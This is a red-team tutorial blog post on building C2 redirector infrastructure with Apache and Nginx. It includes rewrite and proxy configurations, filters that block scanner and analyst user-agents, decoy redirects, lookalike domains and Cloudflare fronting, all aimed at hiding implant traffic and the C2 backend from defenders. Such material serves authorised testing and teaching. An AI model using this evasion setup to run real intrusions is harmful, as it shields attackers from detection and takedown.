Red Team Infrastructure: C2 Redirectors Setup

If your C2 server IP ends up in a threat intel feed, your engagement is over. Redirectors exist to prevent exactly that.

A redirector sits between your operator machine and your implant. The implant only ever talks to the redirector. Your actual C2 — Sliver, Havoc, Cobalt Strike — sits behind it, invisible. If the blue team burns the redirector, you spin up another one in ten minutes. The C2 keeps running.

This guide covers how to build that infrastructure: Apache and Nginx redirectors, filtering rules, CDN fronting, and the OPSEC considerations that matter.

What You’re Building

The basic model:

Implant → Redirector (VPS) → C2 Server (hardened backend)

The redirector forwards legitimate implant traffic to your C2. Everything else — scanners, blue team analysts, automated tools — gets served a decoy response or dropped.

You want at least two VPS instances:

Redirector — disposable, facing the internet, holds no sensitive tooling
C2 backend — locked down, firewall allows traffic only from your redirector IPs

Vultr and DigitalOcean are both solid options for redirector nodes. Spin up cheap instances, use them, burn them if needed.

Step 1: Harden the C2 Backend

Before touching the redirector, lock down the C2 server. It should accept implant-related traffic only from your redirectors.

# Allow SSH from your operator IP only
ufw allow from YOUR_OPERATOR_IP to any port 22

# Allow C2 traffic from redirector IPs only
ufw allow from REDIRECTOR_IP to any port 443
ufw allow from REDIRECTOR_IP to any port 80

# Drop everything else
ufw default deny incoming
ufw enable

Never expose your C2 backend directly to the internet. If you do, you’re one Shodan search away from getting burned.

Step 2: Apache Redirector with mod_rewrite

Apache is the classic choice. mod_rewrite gives you precise control over what gets forwarded.

Install and enable modules

apt update && apt install -y apache2
a2enmod rewrite proxy proxy_http ssl headers
systemctl restart apache2

Create the rewrite ruleset

The key concept: only forward traffic that matches your implant’s expected user-agent and URI patterns. Everything else goes to a convincing decoy (or returns a 404).

Create /etc/apache2/sites-available/redirector.conf:

<VirtualHost *:443>
    ServerName your-redirector-domain.com

    SSLEngine on
    SSLCertificateFile /etc/ssl/certs/your-cert.pem
    SSLCertificateKeyFile /etc/ssl/private/your-key.pem

    # Log access for operational awareness
    LogLevel warn
    ErrorLog /var/log/apache2/redirector_error.log
    CustomLog /var/log/apache2/redirector_access.log combined

    RewriteEngine On

    # Block common scanner/analyst tools by user-agent
    RewriteCond %{HTTP_USER_AGENT} "(?:curl|wget|python|masscan|nmap|zgrab|shodan)" [NC]
    RewriteRule .* - [F,L]

    # Block requests without expected URI patterns
    # (match your C2 profile's check-in URIs)
    RewriteCond %{REQUEST_URI} !^/(updates|api/v2/check|static/js/app) [NC]
    RewriteRule .* https://www.microsoft.com/ [L,R=302]

    # Forward matching traffic to C2
    RewriteRule ^/(.*)$ http://C2_BACKEND_IP:80/$1 [P,L]

    # Preserve original headers so C2 can log source context
    ProxyPassReverse / http://C2_BACKEND_IP:80/
    RequestHeader set X-Forwarded-For "%{REMOTE_ADDR}e"
</VirtualHost>

Enable the site:

a2ensite redirector.conf
systemctl reload apache2

Tune the URI whitelist to match your C2 profile

The RewriteCond URI whitelist should match exactly what your C2 malleable profile specifies. If your Sliver implant checks in at /api/v2/check, that’s what you whitelist. Mismatches mean dropped beacons.

Step 3: Nginx Redirector

Nginx is leaner and handles high concurrency better. The logic is the same — filter first, proxy legit traffic.

Install

apt update && apt install -y nginx

Create `/etc/nginx/sites-available/redirector`:

server {
    listen 443 ssl;
    server_name your-redirector-domain.com;

    ssl_certificate /etc/ssl/certs/your-cert.pem;
    ssl_certificate_key /etc/ssl/private/your-key.pem;

    access_log /var/log/nginx/redirector_access.log;
    error_log /var/log/nginx/redirector_error.log warn;

    # Block scanners
    if ($http_user_agent ~* "(curl|wget|python|masscan|nmap|zgrab|shodan)") {
        return 403;
    }

    # Only proxy matching URIs
    location ~ ^/(updates|api/v2/check|static/js/app) {
        proxy_pass http://C2_BACKEND_IP:80;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $remote_addr;
        proxy_set_header X-Real-IP $remote_addr;
    }

    # Everything else: serve a decoy or redirect
    location / {
        return 302 https://www.microsoft.com/;
    }
}

Enable it:

ln -s /etc/nginx/sites-available/redirector /etc/nginx/sites-enabled/
nginx -t && systemctl reload nginx

Step 4: Get a Certificate (Let’s Encrypt)

Your redirector needs a valid TLS cert. Self-signed certs get flagged. Let’s Encrypt is free and automated.

apt install -y certbot python3-certbot-apache  # or python3-certbot-nginx
certbot --apache -d your-redirector-domain.com  # or --nginx

# Auto-renewal
certbot renew --dry-run

Pick a believable domain for your redirector. Something that looks like a CDN, analytics, or SaaS endpoint works well. cdn-assets-prod.io reads differently than c2-redirector.net.

Step 5: Configuring Your C2 Listener

Your C2 listener backend needs to accept connections from the redirector.

Sliver example

sliver > https --lhost 0.0.0.0 --lport 443 --domain your-redirector-domain.com

The domain should match your redirector’s domain. Sliver’s HTTPS listener will handle the incoming forwarded connections.

Havoc example

In teamserver.yaml, set the listener to bind on the internal IP only:

Listeners:
  - Name: "https-prod"
    Protocol: https
    Host: "0.0.0.0"
    Port: 443
    Secure: true

Add a firewall rule to only accept from the redirector IP (Step 1 already handles this).

Step 6: Verify the Chain

Test each piece before running an engagement:

# From a test machine — implant URI should proxy through
curl -sk -A "Mozilla/5.0" https://your-redirector-domain.com/api/v2/check

# Scanner-like UA should get blocked
curl -sk -A "python-requests/2.28" https://your-redirector-domain.com/api/v2/check
# → Should return 403 or redirect to decoy

# Wrong URI should redirect to decoy
curl -sk https://your-redirector-domain.com/admin
# → Should redirect to microsoft.com or your decoy

Verify from the C2 side that forwarded connections are arriving correctly.

Step 7: CDN Fronting (Advanced)

For additional obfuscation, route traffic through a CDN. Cloudflare is the most common approach.

The concept:

Implant → Cloudflare edge → Your redirector VPS → C2

From the blue team’s perspective, implant traffic looks like it’s going to Cloudflare IPs — not your infrastructure. You can’t block Cloudflare without breaking half the internet.

Setup:

Point your redirector domain at Cloudflare
Enable Cloudflare proxy (orange cloud)
Set SSL mode to “Full” in Cloudflare
Configure your C2 profile’s Host header to match the proxied domain

Limitations: Cloudflare TOS prohibits C2 use. This technique is documented for red team education — verify your ROE with the client before using it.

OPSEC Checklist

Before you go operational:

C2 backend firewall only accepts traffic from redirector IPs
Redirector doesn’t have any tooling installed — it’s a dumb proxy
Malleable profile URIs match redirector whitelist exactly
Decoy response looks convincing — 302 to a real site or serve a fake page
TLS cert on redirector is valid (not self-signed)
Redirector domain has plausible WHOIS and looks like a real service
Log rotation enabled — redirector logs should be minimal and rotated
You have a replacement redirector ready to spin up in < 15 minutes
C2 server has no direct internet exposure — confirmed with port scan from external IP

Common Mistakes

Exposing the C2 IP directly. One Shodan scan burns you. The whole point of redirectors is that your C2 backend never touches the open internet directly.

Using obvious test domains. c2test.net or redteam-infra.com are going to trigger every threat intel feed on day one. Pick something that looks like a real service.

Not matching your C2 profile to the redirector whitelist. If the profile sends traffic to /updates/check but the redirector only whitelists /updates, your beacons die silently.

Skipping the decoy. A redirector that returns a 200 with empty body for unknown requests is a fingerprint. Redirect to something real.

Running persistent tooling on the redirector. If the redirector gets imaged, it should have nothing sensitive on it. The C2 backend is where the tooling lives.

Building Multiple Redirectors

For longer engagements, run multiple redirectors behind different domains. Rotate which one your implants use in the malleable profile. If one gets blocked, the others keep running.

Implant A → Redirector 1 (cdn-analytics-prod.io)
Implant B → Redirector 2 (api-gateway-service.net)
Implant C → Redirector 3 (telemetry-update-svc.com)
            ↓
       C2 Backend (locked down, internal-only)

Each redirector is cheap — a $6/month VPS from Vultr or DigitalOcean works fine. The cost of resilience is low.

What’s Next

Now that your redirector infrastructure is solid, the next layer is payload evasion and implant resilience. Related reading:

Need red team content written fast? CipherWrite delivers technical blog posts, whitepapers, and LinkedIn content for cybersecurity companies.

What You’re Building#

Step 1: Harden the C2 Backend#

Step 2: Apache Redirector with mod_rewrite#

Install and enable modules#

Create the rewrite ruleset#

Tune the URI whitelist to match your C2 profile#

Step 3: Nginx Redirector#

Install#

Create /etc/nginx/sites-available/redirector:#

Step 4: Get a Certificate (Let’s Encrypt)#

Step 5: Configuring Your C2 Listener#

Sliver example#

Havoc example#

Step 6: Verify the Chain#

Step 7: CDN Fronting (Advanced)#

OPSEC Checklist#

Common Mistakes#

Building Multiple Redirectors#

What’s Next#